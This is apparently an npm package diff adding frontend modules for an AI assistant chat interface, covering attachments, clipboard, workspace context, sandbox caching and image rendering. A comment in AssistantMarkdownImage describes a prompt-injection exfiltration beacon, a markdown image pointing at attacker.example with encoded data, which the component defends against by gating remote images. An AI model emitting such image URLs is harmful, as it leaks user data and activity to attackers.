@burdenoff/fe-libs 2026.904.7 → 2026.904.9

package/dist/node_modules/react-markdown/lib/index.js

@@ -137,4 +137,4 @@ function v(e) {
 	return t === -1 || i !== -1 && t > i || n !== -1 && t > n || r !== -1 && t > r || f.test(e.slice(0, t)) ? e : "";
 }
 //#endregion
-export { m as Markdown };
+export { m as Markdown, v as defaultUrlTransform };

package/dist/shared/assistant/attachmentSources.d.ts

@@ -0,0 +1,58 @@
+/**
+ * Where an attachment can come from.
+ *
+ * `+` used to open the OS picker directly, which is one source pretending to be
+ * all of them: on a phone it lands in Files, so photographing a diseased leaf —
+ * the single most likely thing a farmer wants to show the assistant — took a
+ * detour through the camera app and back.
+ *
+ * ★ Every source's `accept` is DERIVED, never typed out. `ATTACHMENT_ACCEPT` is
+ * itself built from the classifier and extractor tables precisely so the picker
+ * cannot offer a file the model then admits it cannot read — a hand-written list
+ * once advertised .pdf a year before anything could open one. Narrowing a source
+ * therefore filters that derived list rather than restating it, so a new
+ * document format is offered here the moment the extractor learns it.
+ *
+ * ★ There is deliberately NO generic "all files" source, though the spec asks
+ * for one. It would restore exactly the failure the derived list was written to
+ * prevent. Every format the assistant can actually read is already reachable
+ * through Documents or Files here; anything else is a file it would have to
+ * refuse after the user had already chosen it.
+ */
+export type AttachmentSourceId = "camera" | "gallery" | "documents" | "files";
+export interface AttachmentSource {
+    id: AttachmentSourceId;
+    /** i18n key and the English fallback, resolved by the caller. */
+    labelKey: string;
+    labelFallback: string;
+    /** `accept` for this source's hidden input. */
+    accept: string;
+    /**
+     * Ask for the camera rather than the gallery. Honoured on mobile browsers,
+     * where the OS camera provides capture → preview → retake → use for free;
+     * ignored on desktop, which falls back to the file picker rather than
+     * breaking.
+     */
+    capture?: "environment" | "user";
+    /** Multi-select. A camera capture is one shot at a time. */
+    multiple: boolean;
+    /**
+     * Only offer where it can work. Camera and gallery are pointless on a desktop
+     * without one, and a control that does nothing is worse than an absent one.
+     */
+    mobileOnly?: boolean;
+}
+export declare const ATTACHMENT_SOURCES: readonly AttachmentSource[];
+/**
+ * Can this device plausibly take a photo?
+ *
+ * Coarse on purpose. `mediaDevices` is the honest capability check but it needs
+ * a permission prompt to be sure, and asking for the camera to decide whether to
+ * DRAW a camera button is backwards. A pointer query separates phones and
+ * tablets from desktops well enough for a menu entry, and the worst case is a
+ * touchscreen laptop seeing one extra option that still opens a working picker.
+ */
+export declare function deviceHasCamera(): boolean;
+/** The sources worth showing on this device, in menu order. */
+export declare function availableAttachmentSources(hasCamera: boolean): AttachmentSource[];
+//# sourceMappingURL=attachmentSources.d.ts.map

package/dist/shared/assistant/attachmentSources.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"attachmentSources.d.ts","sourceRoot":"","sources":["../../../src/shared/assistant/attachmentSources.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;GAoBG;AAIH,MAAM,MAAM,kBAAkB,GAAG,QAAQ,GAAG,SAAS,GAAG,WAAW,GAAG,OAAO,CAAC;AAE9E,MAAM,WAAW,gBAAgB;IAC/B,EAAE,EAAE,kBAAkB,CAAC;IACvB,iEAAiE;IACjE,QAAQ,EAAE,MAAM,CAAC;IACjB,aAAa,EAAE,MAAM,CAAC;IACtB,+CAA+C;IAC/C,MAAM,EAAE,MAAM,CAAC;IACf;;;;;OAKG;IACH,OAAO,CAAC,EAAE,aAAa,GAAG,MAAM,CAAC;IACjC,4DAA4D;IAC5D,QAAQ,EAAE,OAAO,CAAC;IAClB;;;OAGG;IACH,UAAU,CAAC,EAAE,OAAO,CAAC;CACtB;AAcD,eAAO,MAAM,kBAAkB,EAAE,SAAS,gBAAgB,EA+BhD,CAAC;AAEX;;;;;;;;GAQG;AACH,wBAAgB,eAAe,IAAI,OAAO,CAIzC;AAED,+DAA+D;AAC/D,wBAAgB,0BAA0B,CACxC,SAAS,EAAE,OAAO,GACjB,gBAAgB,EAAE,CAEpB"}

package/dist/shared/assistant/attachmentSources.js

@@ -0,0 +1,41 @@
+import { ATTACHMENT_ACCEPT as e } from "./attachments.js";
+var t = [
+	{
+		id: "camera",
+		labelKey: "composer.sourceCamera",
+		labelFallback: "Camera",
+		accept: "image/*",
+		capture: "environment",
+		multiple: !1,
+		mobileOnly: !0
+	},
+	{
+		id: "gallery",
+		labelKey: "composer.sourceGallery",
+		labelFallback: "Photos",
+		accept: "image/*",
+		multiple: !0
+	},
+	{
+		id: "documents",
+		labelKey: "composer.sourceDocuments",
+		labelFallback: "Documents",
+		accept: e.split(",").filter((e) => !e.startsWith("image/")).join(","),
+		multiple: !0
+	},
+	{
+		id: "files",
+		labelKey: "composer.sourceFiles",
+		labelFallback: "Files",
+		accept: e,
+		multiple: !0
+	}
+];
+function n() {
+	return typeof window > "u" || typeof window.matchMedia != "function" ? !1 : window.matchMedia("(pointer: coarse)").matches;
+}
+function r(e) {
+	return t.filter((t) => !t.mobileOnly || e);
+}
+//#endregion
+export { t as ATTACHMENT_SOURCES, r as availableAttachmentSources, n as deviceHasCamera };

package/dist/shared/assistant/clipboard.d.ts

@@ -0,0 +1,12 @@
+/**
+ * Copy text to the clipboard, reporting whether it actually happened.
+ *
+ * `navigator.clipboard` is undefined outside a secure context (plain http on a
+ * LAN address — how an on-farm tablet often reaches an internal host), and
+ * `writeText` can also reject when the document is not focused or permission is
+ * denied. Fire-and-forgetting it means the UI claims "Copied" while the
+ * clipboard still holds whatever was there before, which is worse than no
+ * feedback: the user pastes stale content and does not know why.
+ */
+export declare function copyToClipboard(text: string): Promise<boolean>;
+//# sourceMappingURL=clipboard.d.ts.map

package/dist/shared/assistant/clipboard.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"clipboard.d.ts","sourceRoot":"","sources":["../../../src/shared/assistant/clipboard.ts"],"names":[],"mappings":"AAAA;;;;;;;;;GASG;AACH,wBAAsB,eAAe,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,OAAO,CAAC,CAQpE"}

package/dist/shared/assistant/clipboard.js

@@ -0,0 +1,10 @@
+//#region src/shared/assistant/clipboard.ts
+async function e(e) {
+	try {
+		return navigator.clipboard?.writeText ? (await navigator.clipboard.writeText(e), !0) : !1;
+	} catch {
+		return !1;
+	}
+}
+//#endregion
+export { e as copyToClipboard };

package/dist/shared/assistant/context.d.ts

@@ -0,0 +1,22 @@
+/**
+ * Active workspace / organization resolution for the assistant.
+ *
+ * Extracted from AssistantChatArea so the composer's attachment uploads resolve
+ * the SAME workspace the turn is sent to — a second, subtly different copy of
+ * this lookup is exactly how files end up in the wrong tenant.
+ */
+export declare function getWorkspaceId(): string;
+export declare function getOrganizationId(): string;
+/**
+ * The current user's actor id, read from the access token's `sub` claim.
+ *
+ * ★ Verified against prod: `sub` is the profile id the RBAC service expects as
+ * `actorId`. There is no other source in this app — HealthyBowl has never
+ * needed an actor id before, because every authz decision it makes is taken
+ * server-side from the token itself.
+ *
+ * Returns null rather than throwing on anything unexpected: the one caller
+ * treats null as "cannot tell", which is deliberately not "denied".
+ */
+export declare function getActorId(): string | null;
+//# sourceMappingURL=context.d.ts.map

package/dist/shared/assistant/context.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"context.d.ts","sourceRoot":"","sources":["../../../src/shared/assistant/context.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG;AAmCH,wBAAgB,cAAc,IAAI,MAAM,CAGvC;AAED,wBAAgB,iBAAiB,IAAI,MAAM,CAG1C;AAED;;;;;;;;;;GAUG;AACH,wBAAgB,UAAU,IAAI,MAAM,GAAG,IAAI,CAqB1C"}

package/dist/shared/assistant/context.js

@@ -0,0 +1,36 @@
+//#region src/shared/assistant/context.ts
+function e(e) {
+	try {
+		let t = e === "workspaceId" ? "burdenoff-active-context-workspace" : "burdenoff-active-context-organization", n = sessionStorage.getItem(t);
+		if (n) return n;
+		let r = localStorage.getItem(t);
+		if (r) return r;
+		let i = sessionStorage.getItem("bf-active-profile");
+		if (!i) return "";
+		let a = localStorage.getItem(`bf-p-${i}-context`);
+		return a ? JSON.parse(a)[e] ?? "" : "";
+	} catch {
+		return "";
+	}
+}
+function t() {
+	return new URLSearchParams(window.location.search).get("workspace") ?? e("workspaceId");
+}
+function n() {
+	return new URLSearchParams(window.location.search).get("org") ?? e("organizationId");
+}
+function r() {
+	if (typeof window > "u") return null;
+	try {
+		let e = window.sessionStorage.getItem("bf-active-profile");
+		if (!e) return null;
+		let t = window.sessionStorage.getItem(`bf-p-${e}-tokens`) ?? window.localStorage.getItem(`bf-p-${e}-tokens`);
+		if (!t) return null;
+		let n = JSON.parse(t).accessToken?.split(".")[1];
+		return n ? JSON.parse(atob(n.replace(/-/g, "+").replace(/_/g, "/"))).sub ?? null : null;
+	} catch {
+		return null;
+	}
+}
+//#endregion
+export { r as getActorId, n as getOrganizationId, t as getWorkspaceId };

package/dist/shared/assistant/index.d.ts

@@ -72,4 +72,30 @@ export * from './documentText';
 export * from './ui/AssistantToolActivity';
 export * from './ui/AssistantSpeechProvider';
 export * from './ui/useVoiceSession';
+export * from './clipboard';
+export * from './context';
+export * from './attachmentSources';
+export * from './sandboxReadiness';
+export * from './ui/AssistantAutoSpeakToggle';
+export * from './ui/AssistantMarkdownImage';
+export * from './ui/AssistantMarkdownRenderer';
+export * from './ui/AssistantMessageAttachments';
+export * from './ui/AssistantPendingWriteCard';
+export * from './ui/AssistantReplyLanguageSelector';
+export * from './ui/AssistantSpeakButton';
+export * from './ui/AssistantSpokenTurnsNotice';
+export * from './ui/composer/AssistantAttachmentButton';
+export * from './ui/composer/AssistantAttachmentChips';
+export * from './ui/composer/AssistantLanguageSelector';
+export * from './ui/composer/AssistantModeSelector';
+export * from './ui/composer/AssistantVoiceButton';
+export * from './ui/composer/AssistantVoiceSelector';
+export * from './ui/voice/AssistantVoiceOrb';
+export * from './ui/voice/AssistantVoiceSessionButton';
+export * from './ui/voice/VoiceCaption';
+export * from './ui/voice/VoiceConversationView';
+export * from './ui/voice/VoiceMiniController';
+export * from './ui/voice/VoiceStage';
+export * from './ui/voice/VoiceTranscriptDrawer';
+export * from './ui/voice/VoiceWaveform';
 //# sourceMappingURL=index.d.ts.map

package/dist/shared/assistant/index.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/shared/assistant/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA8BG;AAGH,cAAc,gCAAgC,CAAC;AAC/C,cAAc,mCAAmC,CAAC;AAClD,cAAc,WAAW,CAAC;AAC1B,cAAc,iBAAiB,CAAC;AAChC,cAAc,YAAY,CAAC;AAC3B,cAAc,OAAO,CAAC;AACtB,cAAc,SAAS,CAAC;AAGxB,cAAc,wBAAwB,CAAC;AAKvC,cAAc,gBAAgB,CAAC;AAC/B,cAAc,6BAA6B,CAAC;AAC5C,cAAc,8BAA8B,CAAC;AAC7C,cAAc,gCAAgC,CAAC;AAC/C,cAAc,8BAA8B,CAAC;AAC7C,cAAc,+BAA+B,CAAC;AAG9C,cAAc,uBAAuB,CAAC;AACtC,cAAc,yBAAyB,CAAC;AACxC,cAAc,sBAAsB,CAAC;AACrC,cAAc,sBAAsB,CAAC;AACrC,cAAc,yBAAyB,CAAC;AACxC,cAAc,uBAAuB,CAAC;AACtC,cAAc,sBAAsB,CAAC;AACrC,cAAc,+BAA+B,CAAC;AAC9C,cAAc,qBAAqB,CAAC;AACpC,cAAc,sBAAsB,CAAC;AACrC,cAAc,mBAAmB,CAAC;AAGlC,cAAc,gBAAgB,CAAC;AAK/B,cAAc,UAAU,CAAC;AACzB,cAAc,cAAc,CAAC;AAC7B,cAAc,gBAAgB,CAAC;AAC/B,cAAc,4BAA4B,CAAC;AAG3C,cAAc,QAAQ,CAAC;AAEvB,cAAc,sBAAsB,CAAC;AACrC,cAAc,uBAAuB,CAAC;AACtC,cAAc,wBAAwB,CAAC;AAGvC,cAAc,gBAAgB,CAAC;AAC/B,cAAc,eAAe,CAAC;AAC9B,cAAc,SAAS,CAAC;AACxB,cAAc,aAAa,CAAC;AAC5B,cAAc,iBAAiB,CAAC;AAChC,cAAc,gBAAgB,CAAC;AAG/B,cAAc,4BAA4B,CAAC;AAC3C,cAAc,8BAA8B,CAAC;AAC7C,cAAc,sBAAsB,CAAC"}
+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/shared/assistant/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA8BG;AAGH,cAAc,gCAAgC,CAAC;AAC/C,cAAc,mCAAmC,CAAC;AAClD,cAAc,WAAW,CAAC;AAC1B,cAAc,iBAAiB,CAAC;AAChC,cAAc,YAAY,CAAC;AAC3B,cAAc,OAAO,CAAC;AACtB,cAAc,SAAS,CAAC;AAGxB,cAAc,wBAAwB,CAAC;AAKvC,cAAc,gBAAgB,CAAC;AAC/B,cAAc,6BAA6B,CAAC;AAC5C,cAAc,8BAA8B,CAAC;AAC7C,cAAc,gCAAgC,CAAC;AAC/C,cAAc,8BAA8B,CAAC;AAC7C,cAAc,+BAA+B,CAAC;AAG9C,cAAc,uBAAuB,CAAC;AACtC,cAAc,yBAAyB,CAAC;AACxC,cAAc,sBAAsB,CAAC;AACrC,cAAc,sBAAsB,CAAC;AACrC,cAAc,yBAAyB,CAAC;AACxC,cAAc,uBAAuB,CAAC;AACtC,cAAc,sBAAsB,CAAC;AACrC,cAAc,+BAA+B,CAAC;AAC9C,cAAc,qBAAqB,CAAC;AACpC,cAAc,sBAAsB,CAAC;AACrC,cAAc,mBAAmB,CAAC;AAGlC,cAAc,gBAAgB,CAAC;AAK/B,cAAc,UAAU,CAAC;AACzB,cAAc,cAAc,CAAC;AAC7B,cAAc,gBAAgB,CAAC;AAC/B,cAAc,4BAA4B,CAAC;AAG3C,cAAc,QAAQ,CAAC;AAEvB,cAAc,sBAAsB,CAAC;AACrC,cAAc,uBAAuB,CAAC;AACtC,cAAc,wBAAwB,CAAC;AAGvC,cAAc,gBAAgB,CAAC;AAC/B,cAAc,eAAe,CAAC;AAC9B,cAAc,SAAS,CAAC;AACxB,cAAc,aAAa,CAAC;AAC5B,cAAc,iBAAiB,CAAC;AAChC,cAAc,gBAAgB,CAAC;AAG/B,cAAc,4BAA4B,CAAC;AAC3C,cAAc,8BAA8B,CAAC;AAC7C,cAAc,sBAAsB,CAAC;AAGrC,cAAc,aAAa,CAAC;AAC5B,cAAc,WAAW,CAAC;AAC1B,cAAc,qBAAqB,CAAC;AACpC,cAAc,oBAAoB,CAAC;AACnC,cAAc,+BAA+B,CAAC;AAC9C,cAAc,6BAA6B,CAAC;AAC5C,cAAc,gCAAgC,CAAC;AAC/C,cAAc,kCAAkC,CAAC;AACjD,cAAc,gCAAgC,CAAC;AAC/C,cAAc,qCAAqC,CAAC;AACpD,cAAc,2BAA2B,CAAC;AAC1C,cAAc,iCAAiC,CAAC;AAChD,cAAc,yCAAyC,CAAC;AACxD,cAAc,wCAAwC,CAAC;AACvD,cAAc,yCAAyC,CAAC;AACxD,cAAc,qCAAqC,CAAC;AACpD,cAAc,oCAAoC,CAAC;AACnD,cAAc,sCAAsC,CAAC;AACrD,cAAc,8BAA8B,CAAC;AAC7C,cAAc,wCAAwC,CAAC;AACvD,cAAc,yBAAyB,CAAC;AACxC,cAAc,kCAAkC,CAAC;AACjD,cAAc,gCAAgC,CAAC;AAC/C,cAAc,uBAAuB,CAAC;AACtC,cAAc,kCAAkC,CAAC;AACjD,cAAc,0BAA0B,CAAC"}

package/dist/shared/assistant/sandboxReadiness.d.ts

@@ -0,0 +1,45 @@
+/**
+ * Was this sandbox proven reachable recently enough to skip re-proving it?
+ *
+ * Every turn re-ran two network waits before the model saw the prompt — a
+ * `WaitForSandboxRunning` long-poll and a `/health` GET through the cf-proxy —
+ * even when the previous turn had finished seconds earlier. That is a constant
+ * tax on the hot path, paid most visibly in voice, where it sits between the
+ * user finishing a sentence and hearing anything at all.
+ *
+ * The probe is not pointless: a sandbox can expire on its TTL or have its pod
+ * reclaimed while still briefly reporting RUNNING, and proxying to a dead pod
+ * fails in ways that are worse to surface than a re-provision. So this does not
+ * remove the check — it stops repeating a check that just passed.
+ *
+ * ★ The TTL is deliberately far shorter than the sandbox's own lifetime. Each
+ * turn extends the sandbox by 600s, so a 60s readiness window can never outlive
+ * the thing it describes; the worst case is that a sandbox dies inside the
+ * window and one turn fails, which is exactly what happens today when it dies
+ * mid-turn — and the caller already handles that by dropping it and
+ * provisioning a fresh one.
+ *
+ * Correctness rests on the caller invalidating on failure. A cache that only
+ * ever gets written on success, and never cleared, would pin a dead sandbox and
+ * turn a recoverable error into a loop.
+ */
+/** How long a successful reachability proof stays good for. */
+export declare const SANDBOX_READY_TTL_MS = 60000;
+/**
+ * `now` is injected rather than read so the rule is testable and a clock skew
+ * cannot make a passing check fail mysteriously.
+ */
+export declare function isRecentlyVerified(lastVerifiedAt: number | null | undefined, now: number, ttlMs?: number): boolean;
+export declare function createReadinessTracker(clock?: () => number): {
+    /** True when this sandbox was proven reachable inside the TTL. */
+    isFresh(sandboxId: string): boolean;
+    /** Record a successful proof. */
+    markVerified(sandboxId: string): void;
+    /**
+     * Drop a proof. MUST be called whenever a turn fails against this sandbox,
+     * so a dead one is re-probed rather than trusted until the TTL lapses.
+     */
+    invalidate(sandboxId: string | null | undefined): void;
+};
+export type ReadinessTracker = ReturnType<typeof createReadinessTracker>;
+//# sourceMappingURL=sandboxReadiness.d.ts.map

package/dist/shared/assistant/sandboxReadiness.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"sandboxReadiness.d.ts","sourceRoot":"","sources":["../../../src/shared/assistant/sandboxReadiness.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;GAwBG;AAEH,+DAA+D;AAC/D,eAAO,MAAM,oBAAoB,QAAS,CAAC;AAE3C;;;GAGG;AACH,wBAAgB,kBAAkB,CAChC,cAAc,EAAE,MAAM,GAAG,IAAI,GAAG,SAAS,EACzC,GAAG,EAAE,MAAM,EACX,KAAK,GAAE,MAA6B,GACnC,OAAO,CAKT;AAWD,wBAAgB,sBAAsB,CAAC,KAAK,GAAE,MAAM,MAAiB;IAIjE,kEAAkE;uBAC/C,MAAM,GAAG,OAAO;IAGnC,iCAAiC;4BACT,MAAM,GAAG,IAAI;IAKrC;;;OAGG;0BACmB,MAAM,GAAG,IAAI,GAAG,SAAS,GAAG,IAAI;EAIzD;AAED,MAAM,MAAM,gBAAgB,GAAG,UAAU,CAAC,OAAO,sBAAsB,CAAC,CAAC"}

package/dist/shared/assistant/sandboxReadiness.js

@@ -0,0 +1,22 @@
+//#region src/shared/assistant/sandboxReadiness.ts
+var e = 6e4;
+function t(t, n, r = e) {
+	return t == null || t > n ? !1 : n - t < r;
+}
+var n = 32;
+function r(e = Date.now) {
+	let r = /* @__PURE__ */ new Map();
+	return {
+		isFresh(n) {
+			return t(r.get(n), e());
+		},
+		markVerified(t) {
+			r.size >= n && !r.has(t) && r.clear(), r.set(t, e());
+		},
+		invalidate(e) {
+			e && r.delete(e);
+		}
+	};
+}
+//#endregion
+export { e as SANDBOX_READY_TTL_MS, r as createReadinessTracker, t as isRecentlyVerified };

package/dist/shared/assistant/ui/AssistantAutoSpeakToggle.d.ts

@@ -0,0 +1,20 @@
+import { FC } from 'react';
+/**
+ * Header toggle for "read every reply aloud" (BOFF-6290).
+ *
+ * Opt-in, persisted per profile, and **off by default** — the assistant must
+ * never start talking on its own until someone has said they want that. Turning
+ * it on affects the NEXT reply only; it does not start reading the transcript.
+ *
+ * Renders nothing when the platform has no speech output, so browsers without
+ * `speechSynthesis` see no dead switch.
+ *
+ * Availability is checked here for the same reason the per-message button
+ * checks it: with no installed voice for the app language, switching this on
+ * would hand every reply to whatever voice the engine defaults to — a Tamil
+ * answer read in English. So it is disabled, with the reason as its tooltip,
+ * exactly like the Listen button. It stays operable while it is ON, because a
+ * switch you cannot turn off is worse than one you cannot turn on.
+ */
+export declare const AssistantAutoSpeakToggle: FC;
+//# sourceMappingURL=AssistantAutoSpeakToggle.d.ts.map

package/dist/shared/assistant/ui/AssistantAutoSpeakToggle.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"AssistantAutoSpeakToggle.d.ts","sourceRoot":"","sources":["../../../../src/shared/assistant/ui/AssistantAutoSpeakToggle.tsx"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,EAAE,EAAE,MAAM,OAAO,CAAC;AAKhC;;;;;;;;;;;;;;;;GAgBG;AACH,eAAO,MAAM,wBAAwB,EAAE,EA4CtC,CAAC"}

package/dist/shared/assistant/ui/AssistantAutoSpeakToggle.js

@@ -0,0 +1,25 @@
+import { useAssistantTr as e } from "../i18n.js";
+import { useAssistantSpeech as t } from "./AssistantSpeechProvider.js";
+import { Volume2 as n, VolumeX as r } from "lucide-react";
+import { jsx as i } from "react/jsx-runtime";
+//#region src/shared/assistant/ui/AssistantAutoSpeakToggle.tsx
+var a = () => {
+	let a = e(), { isSupported: o, isBlocked: s, disabledReason: c, autoSpeakEnabled: l, setAutoSpeak: u, stop: d } = t();
+	if (!o) return null;
+	let f = s && !l, p = l ? a("header.autoSpeakOff", "Stop reading replies aloud") : a("header.autoSpeakOn", "Read replies aloud automatically");
+	return /* @__PURE__ */ i("button", {
+		type: "button",
+		onClick: () => {
+			l && d(), u(!l);
+		},
+		disabled: f,
+		className: `rounded-lg p-1.5 transition-colors disabled:cursor-not-allowed disabled:opacity-50 disabled:hover:bg-transparent ${l ? "bg-action-primary-bg/15 text-action-primary-bg" : "text-text-secondary hover:bg-bg-sunken hover:text-text-primary"}`,
+		title: f ? c ?? p : p,
+		"aria-label": p,
+		"aria-pressed": l,
+		"data-testid": "assistant-auto-speak",
+		children: i(l ? n : r, { className: "size-4" })
+	});
+};
+//#endregion
+export { a as AssistantAutoSpeakToggle };

package/dist/shared/assistant/ui/AssistantMarkdownImage.d.ts

@@ -0,0 +1,38 @@
+import { FC } from 'react';
+/**
+ * Would rendering this `src` immediately hit a server we do not control?
+ *
+ * An `<img>` is a GET the browser performs the moment it paints, and the markup
+ * here is written by a model that has read tool output, fetched web pages and
+ * user-uploaded files. So `![](https://attacker.example/p?d=<whatever the model
+ * was talked into encoding>)` is a working exfiltration beacon that also
+ * discloses that a HealthyBowl user opened the reply, when, and from which IP —
+ * with no click required. `referrerPolicy` does not help: the payload is the URL
+ * itself, not the Referer header.
+ *
+ * `data:` URLs carry their own bytes and reach no network, so those still render
+ * straight away — and that is the shape the transport actually emits for inline
+ * images (fe-libs `getAssistantMedia`). Anything else is held behind an explicit
+ * click, the same bargain email clients have offered for remote images for
+ * twenty years. Unparseable input fails CLOSED.
+ */
+export declare function isRemoteImageSrc(src: string): boolean;
+/**
+ * Host to name in the "show this?" prompt, so the choice is an informed one.
+ *
+ * Parsed with NO base URL on purpose. Resolving against `location.href` would
+ * make a relative or malformed src inherit OUR hostname, and the prompt would
+ * then read "Show image from app.gethealthybowl.com" for something this app does
+ * not serve — a prompt that lies is worse than an unnamed one. Absolute http(s)
+ * only; everything else falls back to the generic wording.
+ */
+export declare function imageHostLabel(src: string): string | null;
+interface Props {
+    /** Resolved `src` — already scheme-checked by the renderer's urlTransform. */
+    src?: string;
+    alt?: string;
+    title?: string;
+}
+export declare const AssistantMarkdownImage: FC<Props>;
+export {};
+//# sourceMappingURL=AssistantMarkdownImage.d.ts.map

package/dist/shared/assistant/ui/AssistantMarkdownImage.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"AssistantMarkdownImage.d.ts","sourceRoot":"","sources":["../../../../src/shared/assistant/ui/AssistantMarkdownImage.tsx"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AAEH,OAAO,EAKL,KAAK,EAAE,EAER,MAAM,OAAO,CAAC;AAKf;;;;;;;;;;;;;;;;GAgBG;AACH,wBAAgB,gBAAgB,CAAC,GAAG,EAAE,MAAM,GAAG,OAAO,CAGrD;AAED;;;;;;;;GAQG;AACH,wBAAgB,cAAc,CAAC,GAAG,EAAE,MAAM,GAAG,MAAM,GAAG,IAAI,CASzD;AAED,UAAU,KAAK;IACb,8EAA8E;IAC9E,GAAG,CAAC,EAAE,MAAM,CAAC;IACb,GAAG,CAAC,EAAE,MAAM,CAAC;IACb,KAAK,CAAC,EAAE,MAAM,CAAC;CAChB;AAaD,eAAO,MAAM,sBAAsB,EAAE,EAAE,CAAC,KAAK,CAkR5C,CAAC"}

package/dist/shared/assistant/ui/AssistantMarkdownImage.js

@@ -0,0 +1,147 @@
+import { useAssistantTr as e } from "../i18n.js";
+import { useCallback as t, useEffect as n, useRef as r, useState as i } from "react";
+import { Eye as a, ImageOff as o, X as s } from "lucide-react";
+import { Fragment as c, jsx as l, jsxs as u } from "react/jsx-runtime";
+import { createPortal as d } from "react-dom";
+//#region src/shared/assistant/ui/AssistantMarkdownImage.tsx
+function f(e) {
+	return !/^data:/i.test(e.trim());
+}
+function p(e) {
+	try {
+		let t = new URL(e.trim());
+		return t.protocol === "http:" || t.protocol === "https:" ? t.hostname : null;
+	} catch {
+		return null;
+	}
+}
+var m = [], h = ({ src: h, alt: g, title: _ }) => {
+	let v = e(), [y, b] = i(!1), [x, S] = i(!1), [C, w] = i(!1), T = r(null), E = r(null), D = r(null), O = r(null), k = g?.trim() ?? "", A = !!h && f(h) && !C, j = x && !A && !y && !!h;
+	n(() => {
+		if (!j) return;
+		let e = D.current, t = document.body.style.overflow, n = T.current;
+		document.body.style.overflow = "hidden", e && m.push(e);
+		let r = () => m[m.length - 1] === D.current, i = () => Array.from(D.current?.querySelectorAll("button:not([disabled]), [href], input:not([disabled]), select, textarea, [tabindex]:not([tabindex=\"-1\"])") ?? []), a = () => {
+			let e = D.current;
+			e && (i()[0] ?? e).focus();
+		};
+		a();
+		let o = (e) => {
+			if (!(!r() || e.isComposing)) {
+				if (e.key === "Escape") {
+					e.stopPropagation(), S(!1);
+					return;
+				}
+				if (e.key === "Tab") {
+					e.preventDefault();
+					let t = i();
+					if (t.length === 0) {
+						D.current?.focus();
+						return;
+					}
+					let n = t.indexOf(document.activeElement), r = e.shiftKey ? -1 : 1;
+					t[n < 0 ? 0 : (n + r + t.length) % t.length]?.focus();
+				}
+			}
+		}, s = (e) => {
+			if (!r()) return;
+			let t = D.current;
+			t && !t.contains(e.target) && a();
+		};
+		return document.addEventListener("keydown", o, !0), document.addEventListener("focusin", s), () => {
+			document.removeEventListener("keydown", o, !0), document.removeEventListener("focusin", s);
+			let r = e ? m.indexOf(e) : -1;
+			r >= 0 && m.splice(r, 1), document.body.style.overflow = t, n?.isConnected ? n.focus() : O.current?.focus();
+		};
+	}, [j]);
+	let M = t(() => S(!1), []), N = (e) => {
+		e.target === e.currentTarget && M();
+	};
+	if (h && A && !y) {
+		let e = p(h);
+		return /* @__PURE__ */ u("button", {
+			type: "button",
+			onClick: () => w(!0),
+			className: "my-2 flex max-w-full items-center gap-2 rounded-lg border border-dashed border-border-default bg-bg-sunken px-3 py-2 text-left text-[0.9em] text-text-secondary transition-colors hover:border-border-strong hover:text-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus",
+			"data-testid": "assistant-markdown-image-gated",
+			children: [/* @__PURE__ */ l(a, {
+				className: "size-4 flex-shrink-0",
+				"aria-hidden": "true"
+			}), /* @__PURE__ */ u("span", {
+				className: "min-w-0",
+				children: [/* @__PURE__ */ l("span", {
+					className: "block break-words",
+					children: e ? v("markdown.showRemoteImageNamed", "Show image from {{host}}", { host: e }) : v("markdown.showRemoteImage", "Show remote image")
+				}), k && /* @__PURE__ */ l("span", {
+					className: "block truncate text-[0.85em] text-text-muted",
+					children: k
+				})]
+			})]
+		});
+	}
+	return !h || y ? /* @__PURE__ */ u("span", {
+		ref: O,
+		tabIndex: -1,
+		className: "my-2 inline-flex max-w-full items-center gap-2 rounded-lg border border-dashed border-border-default bg-bg-sunken px-3 py-2 text-[0.9em] text-text-muted focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus",
+		"data-testid": "assistant-markdown-image-fallback",
+		children: [/* @__PURE__ */ l(o, {
+			className: "size-4 flex-shrink-0",
+			"aria-hidden": "true"
+		}), /* @__PURE__ */ l("span", {
+			className: "min-w-0 break-words",
+			children: k || v("markdown.imageUnavailable", "Image unavailable")
+		})]
+	}) : /* @__PURE__ */ u(c, { children: [/* @__PURE__ */ l("button", {
+		ref: T,
+		type: "button",
+		onClick: () => S(!0),
+		"aria-label": k ? v("markdown.enlargeImageNamed", "Enlarge image: {{alt}}", { alt: k }) : v("markdown.enlargeImage", "Enlarge image"),
+		className: "my-2 block max-w-full cursor-zoom-in overflow-hidden rounded-lg border border-border-subtle bg-bg-sunken focus:outline-none focus-visible:ring-2 focus-visible:ring-border-focus",
+		"data-testid": "assistant-markdown-image",
+		children: /* @__PURE__ */ l("img", {
+			src: h,
+			alt: k,
+			title: _,
+			loading: "lazy",
+			decoding: "async",
+			referrerPolicy: "no-referrer",
+			onError: () => b(!0),
+			className: "max-h-64 w-auto max-w-full object-contain"
+		})
+	}), j && typeof document < "u" && d(/* @__PURE__ */ u("div", {
+		ref: D,
+		role: "dialog",
+		"aria-modal": "true",
+		tabIndex: -1,
+		"aria-label": k ? v("markdown.imagePreviewNamed", "Image preview: {{alt}}", { alt: k }) : v("markdown.imagePreview", "Image preview"),
+		onClick: N,
+		className: "fixed inset-0 z-50 flex items-center justify-center bg-bg-canvas/95 p-6 backdrop-blur-sm focus:outline-none motion-safe:transition-opacity",
+		"data-testid": "assistant-markdown-image-lightbox",
+		children: [/* @__PURE__ */ l("button", {
+			ref: E,
+			type: "button",
+			onClick: M,
